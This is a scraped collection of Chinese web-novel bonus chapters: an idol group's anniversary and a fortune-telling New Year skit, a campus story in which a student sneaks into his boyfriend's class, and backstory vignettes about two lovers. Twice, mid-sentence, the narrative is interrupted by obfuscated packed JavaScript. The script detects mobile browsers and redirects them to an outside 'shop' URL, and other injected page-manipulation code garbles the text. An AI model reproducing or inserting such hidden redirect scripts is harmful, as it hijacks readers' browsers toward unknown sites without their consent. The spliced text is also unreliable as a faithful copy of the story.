差点挨打。 “错了错了。”裴听颂立刻求饶,换上一副非常正式、非常真诚的表情,笑容收敛,眼睛很亮,“不开玩笑了。” 只隔着一层门板,外面是队友们为了五周年和圣诞节的庆祝活动激烈讨论的声音,吵吵嚷嚷。凌一大喊着说外面下了雪,凌晨可以去堆雪人。 房间里很静,裴听颂提前布置了一棵迷你圣诞树,上面挂满小灯,最顶端是一枚发光的月亮。 两人面对面坐在地板上,短暂地变成水晶球里的小人,唯一需要做的就是望着彼此的双眼。 裴听颂握住方觉夏的手,看了一眼他手表的时间,然后开始胡言乱语,“好的,现在是2023年12月25日。” 他笑得孩子气,仿佛真的回到十七岁,“方觉夏,出道快乐。” 方觉夏凑近,吻了吻他唇角。 “出道快乐,裴听颂。” 36. 营业悖论新年小剧场 2024年2月10号,大年初一,卡莱多刚出道不久,没有受邀参加任何晚会,只有一个小型的粉丝新年见面会。 结束后,凌一猫在后台刷小号,发现了一个赛博算命的,看评论都说算得特别特别准,于是他拿着出生日期给每个人都算了一下。 [蛋1颗:大师大师!这是我家几个兄弟的生日!您帮我算一下!] [大师:嗬,你家这么多人啊!] [蛋1颗:嘿嘿,人是多,但是就我一个灵光的,其他的都瓜瓜的~] [大师:看出来了,要不也不能找着我是吧?] 不多时,凌一拿到算命结果: [大师:老大很聪明,事业目前没什么起色,但是之后会开辟新的道路,只要努力就会有好结果的,但是感情上呢,还需要多多主动] 凌一心想,确实淼哥一直都是单身呢,不主动去哪儿谈恋爱啊,这说得没错。 [大师:老二家庭运不太好,事业上有一些小的坎坷,度过过去就会有光明!恋爱上,他桃花应该很不错,主动进攻会有好结果,不宜打持久战] 持久战?凌一觉得很搞笑,贺子炎有什么持久战好打的,虽然他是挺招女孩儿喜欢吧…… [大师:老三今年事业运还是可以的,但是要坚持,感情方面有待开窍,他过于在意他人的感情了] 凌一心想,可不是嘛!路远天天嗑队友cp!活该寡着! [大师:老四事业线主打一个触底反弹,目前还在谷底,但不能沮丧,坚持就是胜利。情感方面他过于谨慎压抑,适当地多把精力和注意力放在周围的人身上,少给自己一些压力,说不定会收获更多哦。] 凌一看完替觉夏担心,双手合十连连说了好几个保佑,希望他一切都顺利。 [大师:老五事业线还可以,会有一些意外的工作收入,但有一张漏财的嘴,要管住口腹之欲。感情方面嘛主打一个重在参与。] [蛋1颗:啊?参与谁的感情啊?这可不能瞎参与!] [大师:放心,只是从全世界的感情线路过而已。] 凌一:这好像也不是什么好话…… [大师:老幺的事业线目前看起来比较平稳,他容易祸从口出,但问题不大,祸福相依,之后会红红火火,最主要是感情方面在未来几年也会一飞冲天,只要抓得住机会。需要注意的是,以后在那方面最好稍微克制一点……] [蛋1颗:什么?哪方面??] [大师:那个,成年了吗?] [蛋1颗:我成年了呀!] [大师:……我说老幺] [蛋1颗:他?啊差不多吧……如成!] [大师:……行吧,反正就是那个意思。麻烦亲亲结一下尾款哦,好评一下佛祖保佑你] 凌一打完钱,把这些都转发在没有强哥的六人群里,其他人都热烈讨论,大呼“好准”,唯独小裴这个反骨,根本不相信。 [团霸来也:嘁,我是个坚定的无神论者,这种神神叨叨的毫无科学依据。] [你唯一的火哥:笑死,小裴该不会因为被劝告了那方面破防了吧] [团霸来也:你放屁!老子根本还没有做过那方面的事!] [圆咕龙咚(祝大家龙年大吉版):所以是因为没有而破防吗?小裴,会有的,别难过] [团霸来也:退群了886] 半夜裴听颂想到这个假大师的鬼话都气得半死,腾地坐起来,“我克制毛线啊我还是个处男!” 他气不过,花888红包加666封口费从凌一那儿拿到了算命大师的微信,自己添加,让他重算。 [666:行不行啊,您打字怎么这么慢呢] [666:您该不会是语音转文字吧,大过年的急死我了] 五分钟后: [大师:两年后的某一天,你就会,打破你坚定的信仰] [666:WTF???] 漫长的十分钟后: [大师:两年后的某一天,你还会,推翻更多你对自己的认知] 小裴彻底无语了。 [666:两年两年,你就知道两年,别胡扯了你个江湖骗子,大过年的骗我钱,我祝你这辈子开不了张!] 五分钟后: [大师:好的年轻人,新年好,祝你两年后再开张] 小裴气炸,“他这什么意思,什么叫我两年后再开张?开哪门子张?” 他发了一大堆质问的消息,却再也没了回复 第二天早上,大家都齐聚练习室,凌一屁颠屁颠跑来问裴听颂。 “哎哎哎你没和那个人聊天吧??他说他昨天吃年夜饭喝多了睡着了,他爸玩儿他手机来着!” 裴听颂回想了一下昨晚的龟速算命历程:“……他爸多大?” 凌一:“好像……八十五了!” 裴听颂:“啊??” 大师一早就和凌一解释,说他爸以前也是算命的,自己算是子承父业,但是他爸后来得了老年痴呆,生病两年了,所以来来回回老念叨两年两年的事。 这些大实话他可不敢告诉裴听颂,要不准引火上身,只拍拍他的肩膀:“反正他说的话都不准的,你别信啊!拜拜!哦对小裴新年快乐!再次祝福你农历生日快乐!哥哥love you!” 然后他一溜烟跑了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727044|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴听颂气得只想打人,一扭头看到正在热身的方觉夏,他也正巧看过来,裴听颂的气焰莫名其妙消了一半,但另一半直接堵在了心口。 这个冰块脸…… 每次见了自己都跟见了鬼一样…… 方觉夏正压着腿,一瞟镜子,意外发现裴听颂一脸火气地盯着自己。 又是谁招这小少爷了? 不会又找我麻烦吧? 被他盯得有些发毛,方觉夏站起来,扭过头,冷着一张脸问:“我脸上有东西吗?” 裴听颂本来堵着,方觉夏一说话,那口气突然就顺了,于是也走近两步,到他跟前。 板着脸的样子可真好玩儿。 裴听颂故意指了指,逗他:“你脸上沾了灰没看见吗?这儿,唉算了我帮你擦。”他伸出手,方觉夏想躲,无奈他动作实在太快,躲避失败。 就这样被他捏住了脸。 还捏了两下。 “喂。”方觉夏觉得自己又被羞辱了。 还挺软。 裴听颂松开手,大笑:“你好笨啊。” 方觉夏推开他,大过年的,他又才过完农历生日,不想跟他置气,于是平淡地反唇相讥,“至少我不会给凌一888的红包求推荐算命先生。” 裴听颂捏完脸本来心情好得不得了,一听这话一落千丈,跟坐火车似的,直接急了,“凌一!!!你大爷的出卖我!” 凌一隔着一堵墙都听见了,跑得更远了。 方觉夏又轻声补刀:“而且还被骗了。” 裴听颂脸都黑了,咬牙切齿,“凌一……你给我滚过来……” 江淼受凌一所托,帮忙过来打圆场,见他俩剑拔弩张,赶紧揽住两人的肩膀,笑眯眯道:“大过年的,别吵架啊。” 说完他安慰裴听颂:“没事儿,说不定爸爸的修为比儿子还高呢?儿子算得不一定能准过爸爸吧?” “哈!”裴听颂气得笑出了声,凌一不在,他只能恶狠狠盯着方觉夏。 方觉夏想撤,又被江淼按住,只好站着不动,扭过头不看裴听颂。 两人就这么僵持着,江淼只好转移注意力:“哎,他爸怎么说?给你算了什么好运势啊?” 哈!好运势?? 他祝我两年后开张!!这个恶毒的老头! 我跟谁开张?跟谁? 贺子炎和路远推门进来,冷风一激,方觉夏低头打了个喷嚏。 裴听颂注意力被转移,看向正在揉鼻尖的方觉夏。 难不成跟他??? 疯球了吧! “想什么呢小裴?”江淼笑着问。 裴听颂露出微笑:“想杀人。” 37. 过敏原番外 一周前,宋煜跟随小组外出作业。好不容易快等到他返校,乐知时兴致勃勃计划一起去公园看樱花野餐,谁知传来噩耗。 [哥:我明天上午要替教授代本科生的课,落地直接回学院了。] 晴天霹雳。 看着自己做好的三明治,乐知时不禁叹气,不过好在他足够随机应变,于是立刻改变策略,从野餐计划换成蹭课惊喜。 第二天他起了个大早,时间匆忙,随便找了衣服套在身上,匆匆赶往测绘学院。最近是旅游旺季,一路上人山人海,全都是来W大看樱花的游客,躲都躲不开。快到上课的教学楼,时间不多,他抓着书包跑了起来,谁知正好撞上一个人,书包掉在地上,人也差点摔倒。 好在对方眼疾手快,一把拉住他胳膊,勉强稳住了他。 “不好意思不好意思。”乐知时连连道歉,蹲下来把书包里散出来的便当盒和笔记本装回去。 被撞到的男生没说话,半蹲下来帮他捡东西,递给他。 手指好长。 这是乐知时的第一反应。 “谢谢,实在是抱歉,我太赶了。”乐知时接过来一股脑塞进包里,背好又冲他鞠躬。 起身,一抬头,他才终于看见对方的脸。男生戴着深灰色棒球帽,没表情的时候很冷。他有一双几乎让人过目不忘的眼睛——眼型上挑,微微露白,和浓烈的五官形成鲜明对比的,是一对颜色极浅的瞳孔。 像动物一样漂亮。乐知时在心里想。 “你是法学院的?”男生忽然开口,没多少疑问语气,更像是陈述句。 他不禁有些惊讶,“你怎么知道!” 男生嘴角扬起十分细微的弧度,指了指他的书包,“书刚刚掉出来了。” 原来如此! 还想说点什么,可身旁跑过几个赶时间的学生,乐知时才忽然想起自己的蹭课计划。他可不想迟到,在众目睽睽之下走进教室哪里还会有惊喜,一定一眼就被宋煜发现。 “不好意思,我要去上课了。”乐知时跑完还回头,“撞到你真的抱歉!” 男生站在原地,定定地望着他背影。 外套好大。 见人消失之后,他四处望了望,打算继续找约定好的地方,没想到一低头,就发现了冒失鬼落下的东西——一串钥匙,上面还串着橘猫和小博美的亚克力挂件,还有…… 一个爱心形状的相片挂件,照片里是一个四五岁的混血小朋友,笑得很开心。 真的会有人把自己小时候的照片挂在钥匙环上吗? 不过当事人已经进了教室,无法回答他的疑问。 进去时,乐知时战战兢兢,好在来得早,宋煜还没到。他气喘吁吁坐下,打开书包,将笔记本和笔袋拿出来,戴好帽子和口罩,然后重新检查了一遍包里其他东西。 于是他后知后觉地发现,自己根本没有带任何法学相关的书。 刚刚那人是怎么猜到的? 来不及细想,周围关于“学长”的议论声开始层出不穷,乐知时猛地抬头,果不其然,看到了一周未见的宋煜。 他看上去没有乐知时想象中疲惫,身姿依旧挺拔,只是比平常冷淡太多,全然一副公事公办的态度,不带丝毫感情,声明代课事宜、放签到码,打开课件,一系列操作流畅得如同设定好的机器人。 好久没见到这样的他了,乐知时还有些新奇。 前面的几个学生窃私语。 “宋煜学长真的比传说中还冰山。” “他一直都这样啦,之前本科参加篮球赛的时候,全场喊他名字的声音最大,结果人一点反应都没有,也不笑。” “你还真别说,我一点也想象不出来他笑的样子。” 坐在最后一旁的乐知时低着头,超小声替自家哥哥辩护:“他其实还挺爱笑的……” 而且笑起来非常好看。 前半节课宋煜带着学生回顾之前的课程,后半节课则是自主编程作业。 “有问题举手,我会过去。” 大概是他气场实在太冷,举手的人比乐知时想象中少得多,但宋煜都会走过去,认真答疑解惑,还会帮忙debug。乐知时目不转睛地盯着看了好久,在宋煜起身靠近的时候,又赶快扭过头看窗外,生怕被发现。 不看窗外还好,这么一转头,他忽然发现一个熟悉的身影,就在楼下。 这不是南嘉学姐吗? 乐知时眯了眯眼,凑过去脑门儿抵在窗玻璃上,仔细瞅了半天。 还真是学姐!怎么会这么巧! 很快,他发现南嘉对面站着一个也很熟悉的身影。 这不就是刚刚被他撞到的那个男生?? 这世界也太小了吧! 南嘉笑得很灿烂,仿佛是听到了什么特别开心的事,她抬起手,比了比两人的个头儿,还踮起脚把对方头上的棒球帽摘下,揉了一把他的头发。 这…… 好奇妙。 他拿出手机悄悄拍下视频,然后第一时间分享给好哥们儿。 [乐乐:蒋宇凡,我刚刚看到南嘉姐了,和一个男生在一起。] [蒋宇凡:嚯,帅哥啊!] [蒋宇凡:不是,南嘉学姐好像很少对一个男生这么亲密吧?这你不该发给我啊,你应该给曲直看!] 给曲直?这可难倒他了。 万一又闹出什么乌龙可怎么办?还是观察观察。 他又瞟了眼,只见南嘉晃了晃空的奶茶杯,自己朝垃圾桶走去了,留下那个男生原地站着,百无聊赖地伸出手,捉住一片半空中打转的樱花。 手机又震动起来。 [蒋宇凡:你干嘛呢?今天不是没课吗?在哪儿拍的?] [乐乐:我哥在代课,我偷偷溜进来了。] [蒋宇凡:真行啊你,没被抓包啊?] [乐乐:那必然是没有的,我哥到现在都没发现我,厉害吧?] 然而事实并非如此。 走进教室的第一时间,宋煜就发现了乐知时的存在。 他视线一扫,落到最后一排裹得严严实实的可疑分子身上,没有一秒钟犹豫,直接锁定。 早猜到乐知时不会放过这个机会,宋煜丝毫不意外,只是整堂课下来,乐知时比想象中老实太多,甚至在他提出有问题可以举手的时候,乐知时都没举手。 不仅如此,他还走神看窗外,还看得认真极了。 宋煜本来一点也不好奇的,直到乐知时认真到居然拿出手机出来拍照。 有什么好看的。 宋煜装作不经意地走到窗边,低头,瞥了一眼,发现楼下站着个穿一身黑的男生,没其他人。 他转过脸,见乐知时还在看,眼睛恨不得贴窗玻璃上了。 到底有什么好看的? 一旁举手的学生瞧见学长瞬间黑下来的脸,颤巍巍放下了手,假装无事发生。 对于远在三楼的硝烟与醋味,楼下两名被观察对象一无所知,继续聊着天。 南嘉转着手里的棒球帽,抬头说:“别告诉我你真就是专门跑来看樱花的,这可不是你的风格啊南乙。” 看着人山人海的游客,南乙耸耸肩,“我是刚从云南回来,顺道来看你。” 他拉开背包,拿出一枚小香囊,黑色布料上绣着富有几何感的彩色纹饰,质朴又精致,一看就是少数民族的风格。 他递给南嘉。 “送我的?”南嘉笑着接过,闻了闻,竟有一股茶香,“真好闻。” “茶叶做的,那边的特色。” 南嘉仔细端详上面的民族纹饰,又瞟了眼南乙,发现他背包上竟然也挂着一个,于是迈了一步凑过去看。 奇怪的是,他的那枚别说精致了,绣工简直可以用糟糕形容,纹饰线条歪七扭八,配色也奇奇怪怪,甚至还有很多线头,感觉随便一扯,里头的茶叶就能漏出来。 像他这样的强迫症怎么忍得了啊? “这谁绣的,这么难看你还买啊?” 南乙没说话,自己抓住摇摇晃晃的茶叶香包,摸了摸上面的纹饰。 “难看吗?还好吧。” 他竟然还笑了。 “你是被卖纪念品的人骗了吧?”南嘉把手里的帽子还给他,调侃道,“不过算你小子有良心,还知道要把漂亮的给姐姐,一会儿请你吃好吃的。” “不了,我下午的票。”南乙顺着香包上的小穗子,头也没抬,“就请了这段时间的假,得回去上课了。” “你小小年纪,怎么这么忙啊?寒假闷不做声跑去滑雪场呆了一冬天,又莫名其妙跑云南转了一圈。你才16岁诶,一点都不害怕的吗?也就是叔叔婶婶脾气好,惯着你,换了你大伯,想都别想,只能关家里念书。” 一遇到南乙,南嘉的唠叨属性就被激活,但南乙也只是默默听着,嘴角带着点似有若无的笑,完全不反驳。 看着眼前寡言的堂弟,那些往事又一次涌上心头,令南嘉心情复杂。明明这两年长高这么多,可在她眼里,好像还是当初那个说不出话的小孩儿。 那么小的小朋友,居然在发生紧急情况的时候,第一时间挡在她前头。 和别人不一样,自己这个弟弟好像活了两辈子。 “你回去之后,要好好上课,好好和同学相处,多睡觉,照顾好自己。” 南乙戴上帽子,点了点头,“知道了。” 忽然,他想到什么,从口袋里掏出一串钥匙扔南嘉怀里,“这个给你学弟吧,我刚刚捡到的。” 南嘉一眼就瞟到上面的照片,“你碰到乐乐了?” 南乙挑了挑眉,复述了一遍他的名字,“乐乐?” “可能吧,那个混血儿。” “哎不对,”南嘉皱起眉,“你怎么知道他?” “朋友圈。你发过你们法学院参加服饰大赛的合影。”南乙回忆起来毫不费力,“长篇感言我看完了,每个人都有提到,很端水。” 南嘉倒吸一口凉气。 这小子还真是过目不忘…… “走了。”南乙转身,挥了挥手。 眼前的背影和小时候的他重合,孤独的小人忽然长大,一步步湮没在熙熙攘攘的花海和人群中。 很奇怪,那些往事仿佛化作一张顽固的标签,始终牢牢贴在南乙的背上。 “小乙。”南嘉还是忍不住喊住了他。 “过去的事都过去了,你要学会放下,向前看,以后一定会好起来的。” 原以为他不会转身,可南乙竟然停住了脚步,回过头来。 逆光中,他的表情是模糊的,只是歪了歪头,抬起手,对着南嘉用手语比了一句。 [知道了,姐。] 乐知时清楚地看到了这一幕,感觉很玄妙,好像在某个瞬间产生了奇异的共情。 不过这份共鸣持续不到一秒,很快,他听见“咚咚”两声,一扭头,宋煜竟然出现在他面前,指关节仍旧保持着叩击桌面的状态。 宋煜一副“你终于看我了”的表情,冲乐知时抬了抬眉。 乐知时吓了一跳,差点站起来。 不过宋煜倒是出奇地淡定,手掌撑在桌上,微微俯身。他的声音低得恰到好处,但距离的亲密程度却非常引人注目。 他几乎要贴到乐知时耳边,低声说:“把我的钥匙给我。” 气流弄得耳朵好痒,乐知时肉眼可见地红了脸。他非常不解,却也不敢惊动其他人,只好小声反驳,“你钥匙不见了怎么找我啊……” 宋煜伸出手,指尖勾了勾他的外套领口,改用周围人都能听到的音量回答:“因为你今天穿的是我的衣服。” 此言一出,前座的学生纷纷回头,齐刷刷盯着他俩。 怎么可能! 这件外套的确是情侣款,他们买了一模一样的,只是尺码不一样,但乐知时确信自己没穿错,还逞强想要脱下来检查,但直接被宋煜捉住了袖子。 “袖子长这么多,是谁越长越缩水了?” 还真就不是他的…… 见其他学生都是一副吃瓜的兴奋模样,乐知时恨不得找个地缝钻进去。 还惊喜呢,现在变成笑话了。 好在下课时间来得及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727045|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,即便热衷八卦是人的天性,但没有几个大学生愿意下课后还待在教室里。 看着就差把脸埋进书桌里的乐知时,宋煜差点笑出来。 “怎么,不想走?” “走,走。”乐知时哭丧着脸抬起头,也终于把手从口袋里拿出来,“怎么办,钥匙好像也不见了。” 他摸了半天,根本找不到。 宋煜没说解决方案,只是盯着他,语气轻松:“那就惩罚吧。” “啊?” “让我想想怎么罚好。” “别啊哥哥,我再找找,肯定能找到的!” “找不到就双倍惩罚。” 想着双倍的代价,乐知时战战兢兢,下楼的时候都忘了和宋煜抱怨自己失败的野餐计划,走路都走神,只能被哥哥拽着。 人形导航突然停住,乐知时也跟着抬头,没成想竟然在教学楼门口撞见南嘉。 “学姐?” 南嘉也很惊喜,“诶乐乐!你来测绘学院找宋煜?” “是啊,他刚回来。” “好巧,啊对了。”正好遇到,南嘉直接拿出那串钥匙,晃了晃,“你看看这是不是你丢的?我弟捡到了,让我帮忙转交给你。” 钥匙? 乐知时一眼看到上面的挂件,“是的是的,就是我的!” 这哪里是学姐,简直就是他的救命仙女! 听到宋煜清了清嗓子,乐知时立刻改口,“不是,是我哥的。” 他双手接过来,虔诚地交还给宋煜,心里的一块大石头总算落了地。 这下就不用被罚了吧?他给了宋煜一个可怜兮兮的眼神。 “你弟?”宋煜倒是抓住重点,看向南嘉,“就是刚刚在楼下那个?” 乐知时这才后知后觉发现,“啊?那个帅哥是你弟弟?” 这个词一出,南嘉和乐知时本人同一时间感受到来自宋煜的杀意。 南嘉看了看宋煜,又瞧了瞧乐知时,倒吸一口凉气,干笑了两声,“对,是我堂弟,我记得我和你们提过的,就是一小孩儿。他今天来看我,已经走了。” 她说完,预感大事不妙,偏巧她又是非常容易卷入这类争风吃醋风波的可怕体质,于是随便找了个借口,溜之大吉,“我和朋友还有约,要迟到了,先走啦。拜拜!” 乐知时非常迟钝,关注点还在自己目睹的亲密互动上,听到南嘉的解释,松了一口气。 这么一看,那些互动对姐弟而言都非常合理嘛,怪不得他还觉得那个男生有点眼熟。 还好没有发给曲直。他欣慰于自己的沉稳和理智。 “他们家基因真好,南嘉学姐的弟弟好高,长得也很像,就是气质不一样……” 宋煜完全没接茬,双臂环胸,盯着乐知时,“你为什么松了一口气?” “啊?”乐知时有些懵,“我……” “手机给我。” 乐知时有些不明所以,但还是乖乖给出去,“要我手机干嘛?” 宋煜直接打开相册,“看看有多帅,拍个没完。” 吃醋了。 乐知时这才意识到,赶紧解释。 “不是,哥你误会了,因为我不知道怎么称呼所以就用了帅哥这个词,不是你想的那样,而且我拍他,是因为看到他和南嘉姐在一起,觉得有点神奇,就想发给蒋宇凡看……” 宋煜仿佛对这些充耳不闻,只盯着屏幕,两指放大照片,仔细瞧了半天,好像要把五官的每个细节都看个清清楚楚 。 过了好久,他把手机还给乐知时,开口也没照常理出牌。 “是挺帅的。” 这下换乐知时吃味了。 不是,宋煜还没夸过谁长得好看呢。 于是,在去往樱花大道的路上,乐知时像小鸭子一样跟在宋煜后头,嘴里不停念叨着,“真的很帅吗?哪里帅?” 他们走到一棵盛放的花树下,不远处有人站在小梯子上拍照,有人举着单反。 “借过——” 一辆自行车穿过人群朝他们骑来,人潮被挤开,几个人推推搡搡,差点撞到乐知时。 但下一刻,手腕被捉住。宋煜将他拽进怀里。 “看路,小复读机。” 乐知时直接借势抓住宋煜的手臂,仰着脸,很认真地问:“他好看还是我好看?” 宋煜盯着他,并不说话,就想看他着急。 乐知时确实着急了,令他没想到的是,当着这么多人的面,乐知时竟然直接两手捧住宋煜的脸,强迫他看自己。 “哥哥你看我,一周没见了,你都不好好看我,我不好看吗?” 宋煜真的很想憋住笑,但他不确定自己有没有成功。 他还是不做声,想看乐知时还能说出什么话。 起了风,一片樱花飘飘然落下,滑过乐知时阳光下泛着金色的发丝、贝壳一样几近透明的耳廓、雪白的脖颈。 答案明明显而易见。 谁知下一秒,乐知时直接踮起脚,在人海中,毫无顾忌地给了他一个长而绵软的吻,也夺走意识,让他失去了掌控力,只能愣神。 分开后,乐知时眼底满是狡黠的笑意,手在宋煜眼前挥了挥。 “哥哥?” 宋煜咳嗽了一声,完全没办法看向周围,拉住他的手穿过看热闹的人群,直愣愣往前走,俨然一副逃跑的姿态。 真是难得一见。 “哥,”乐知时凑过去看他,宋煜越不搭理,他越起劲,“哥哥。” “你脸红了!” “你看错了。” “绝!对!没!有!”乐知时拿出手机,“我要拍下来。” “别拍我,去拍帅哥。” “我哥就是世界上最帅的大帅哥!” 宋煜猛地停下,“再说就罚你。” “罚就罚。”趁此机会,乐知时再次发起突袭,照着他的脸响亮地亲了一口。 宋煜深吸一口气,抬手拧了他的脸蛋,“你确定?” 乐知时全然一副恃宠而骄的模样,歪着头笑。 “罚、就、罚。” 38. 悬日番外 悬日二三记 . 上中学的时候,宁一宵没有朋友。 他的身边总是环绕着一些人,他们会叫他打球、去他消费不起的县城KTV聚会,去充当吸引女孩儿们的广告牌,单方面认为宁一宵是他们的朋友。但他不是。 他唯一的朋友不是人类,是一条流浪狗。 他对所有人笑,唯独在这条狗面前面无表情。听说狗能闻得出人身上的病,这种好像没有科学依据和逻辑可言的论断,以前他是不信的,直到他们遇见。 那发生在一个倒霉的雨天,宁一宵因为冒充成年人打工卖酒,抢了隔壁店的生意,被老板喊人往死里揍了一顿,好在牙齿没掉,只是后背被踩了太久,爬不起来,尝试了几次,宁一宵放弃了,就在泥泞的雨水里趴着,也顾不上嫌脏了。 上次被这么打,还是隔壁班的女孩儿疯狂追求她,被他父亲知道,以为是他主动引诱,带坏了她的女儿,在体育课闯了进来,当着全班人的面狠狠揍了他一顿。 嘴里还骂着“你他妈根本配不上!知道吗?” 知道啊。 宁一宵不记得自己趴在雨里有没有睡着,没感觉,但好像有发梦,梦到自己考上很好的大学,遇到的不再是这样的人,甚至还梦到大朵大朵的雪白的花,还有像花一样柔软美丽的面孔。 梦到这里的时候,他才确定是梦。睁开眼,宁一宵醒过来,擦掉脸上的泥水,穿着脏透了的工作服,一瘸一拐往宿舍走。他每天工作到后半夜,需要翻墙才能回去,那天实在是翻不动。 他像面壁一样站在墙根前,忽然听见簌簌声,墙上投射着一条细长的、摇晃着的影子。原来是一条晃着尾巴的狗,和他一样瘦,一样狼狈。它凑过来,闻嗅着他受伤的地方,拼命地嗅。 “饿吗?” 宁一宵翻遍口袋,找出一片单独包装的饼干,里面已经碎成了渣,他不记得是什么时候的,只记得是餐馆女服务员红着脸塞给他的。 他拆开来,喂给了那条狗,自己也有了力气,翻过墙回到自己该回的地方。 第二天他就发了高烧,昏昏沉沉,但还是照常起床、出早操、上课,像个破烂机器人一样运作,直到彻底断电,晕倒在教室门口。医务室的老师说他缺乏营养,有可能是肺炎,要去大医院看看。宁一宵笑着说好的和谢谢,晚上继续工作,推销啤酒的时候,也会笑着说好的和谢谢。 那几天他每天都遇到那条狗,所以会有意识地给它带点吃的。但它很怪,什么都不吃,只是闻他的味道。宁一宵觉得好玩,最好玩的是,伸手摸它的时候好像在摸自己。 他从不和它说话,就静静地坐在地上,让它闻,自己安静地抚摸它脏兮兮又干枯的毛发。 他不觉得狗脏,毕竟狗都不嫌他脏,鱼腥味的病人也喜欢闻。 和很多穷人一样,宁一宵知道自己没那么容易病死,不需要去医院,自然会好的。某天早上,他醒来后神清气爽,头不痛了,也不再鼻塞,那一刻忽然感觉怅然若失。到了晚上下班,同样的地点和时间,果不其然,他没有遇到那条狗。 再也没有。 唯一的朋友随着病痛的消失而消失,没留下半点痕迹。某天晚上,还是那个墙根下,宁一宵捡到一袋饼干,很像当时他给出去的那个,便宜的银色铝箔袋装着的、碎到能听到响声的饼干。 但根本没有开封过,是完整的。 那一刻宁一宵怀疑,这其实是一场超现实主义的梦。生病的人需要人陪,所以他幻想出一条狗,他就是那条狗。 这是他疲劳贫瘠的少年时代最迷幻的一段记忆。偶尔他还会梦到,只不过梦里他会对那条狗说话,那只狗也会回答。 “你以后会幸福吗?” 他不知道该问什么,只是希望这条流浪狗能活着,但再见面第一句就问‘你还会不会活着’,似乎不太正确,于是他这样问了。 但什么是幸福,其实宁一宵也不知道,活着就是幸福了吧。 “我不知道,但是你以后会的。”狗说。 太荒谬了,狗会说话,还懂得什么是幸福,他都不懂。 “我会吗?是什么样的幸福?” 狗摇着尾巴说:“会有一个人,爱你超过他自己,每天抱你、摸你,亲吻你,把你当做他唯一的小狗。” 哦。 宁一宵醒了,这场怪诞的对话他没放在心上。 他只想活得像个人。 至于有没有幸福,有没有一个人像爱小狗一样爱他,并不是一个每天为了爬出生存困境而努力的人该思考的议题,太奢侈了。 所以流浪狗的预言,他主动忘掉了。 少年时代的宁一宵没有了朋友。 也没有任何期待。 · 从小到大,精神病院一直是苏洄最讨厌的地方。 第一次去是看望叔叔。在外面,叔叔是有很多身份的,他是一名成功的策展人,是艺术家们的朋友,是一个体贴的丈夫,一个有趣的长辈,但在这里,他被抹去一切属性,和所有住在这里的人一样,是一名精神病人。 那也是苏洄第一次进入病房,原来这里连墙壁都是“安全”的,到处都覆盖着厚厚的泡沫,桌子、椅子、床,哪儿都没有棱角。这里是离死亡最远的地方,也是离死亡最近的地方。 叔叔最后还是死了,和爸爸一样。死亡对苏洄来说,是演习过很多遍的游戏,他并不恐慌,甚至有所期待。 一个人怎么会期待死亡的?妈妈知道了,一定会露出不可思议的表情,外公会骂他疯子,让他去诵读佛经静心。黑暗的房间里,苏洄一边念佛经,一边期待着自己葬礼上的布置,他想选自己喜欢的花——最好是自己种的,播放自己喜欢的歌——他早就列好了清单。 只可惜不能亲自参加,很扫兴。 这份期待,在遇到一个人之后突然中断了,他的胸口很痒,里面突然长出一根线,细细长长,线头在那人手中。 他没说你不能死,也没说你不可以抛弃我,但苏洄自己就这么决定好了。 刚开始恋爱的时候,他常常突然消失,其实是住进了病房里。有一次他在陪护人员的监视下走进医院的花园,遇到了一个和自己穿着一样病号服的人,他在长椅上看书,嘴里叽里咕噜念叨着像话剧台词一样的东西。苏洄走过去,想问他看的什么书,但一靠近,那人就抬头,黑洞洞的一双眼盯住了他。 “你会被惩罚。”他说话像教徒。 苏洄反倒感兴趣,他蹲下来,阳光刺着他的眼皮,但他还在笑,仰着脸问:“真的吗?是什么样的惩罚?谁来惩罚我?” “是你自己。”他合上书,起身要走,“你不相信神的存在,所以你会失去一切,失去你最重要的东西,再也回不来。” 苏洄才不信,他快步追着那人的脚步,越追越快,最后跑了起来。两个成年人的追逐并不是什么大事,但在精神病院就完全不同,所以他们都被控制了起来。 那人到最后还在咒骂他,唾弃他的自私和贪婪,指责他的懦弱。 “死亡是新的深渊!是爱的深渊!” 苏洄在躁期,听不懂他说的话,只是笑,转身便找了另一个看上去更温和的病友,对着他手舞足蹈长篇大论,从埃及人对死亡的信仰到释迦牟尼佛入胎时摩诃摩耶夫人做的四个梦。对方是个几乎丧失听力的老人,所以一直面带微笑地听着,没有打断和阻止,这令苏洄感到快乐。 他不可以对刚刚那个疯子这样,会被诅咒,也不能对自己喜欢的人这样,会吓跑他。 哦不对,苏洄想,我也是疯子啊。 “他和我一样,不,他就是我。” 许多年后的某天,苏洄将借来的笔还给丹妮的时候,说了这样一句意味不明的话。 丹妮没懂,拿过笔收好,问:“他是谁?” “一个疯子。”苏洄将信纸细细地折好,每一个角都好好对齐。他没有强迫症,但他爱的人有。 “他说的都是真的,每一句都是。” 他将信也递给丹妮,像每一次那样祈求她能帮助自己。 那天以后,顿悟的苏洄不再抵抗院内每周一次的洗礼,不再抵抗圣经,他在夜里忏悔自己的罪孽,忏悔自己曾经那么轻率地否认了神的存在。无论是释迦摩尼,还是耶稣,谁都好,他现在都相信,失去的无法挽回,苏洄很明白,他只希望自己的虔诚能换来一点对爱人的庇佑。 他可以一辈子只做玻璃罩里的蚂蚁,但他爱的人不能永远像罩子外的蝼蚁一样活啊。 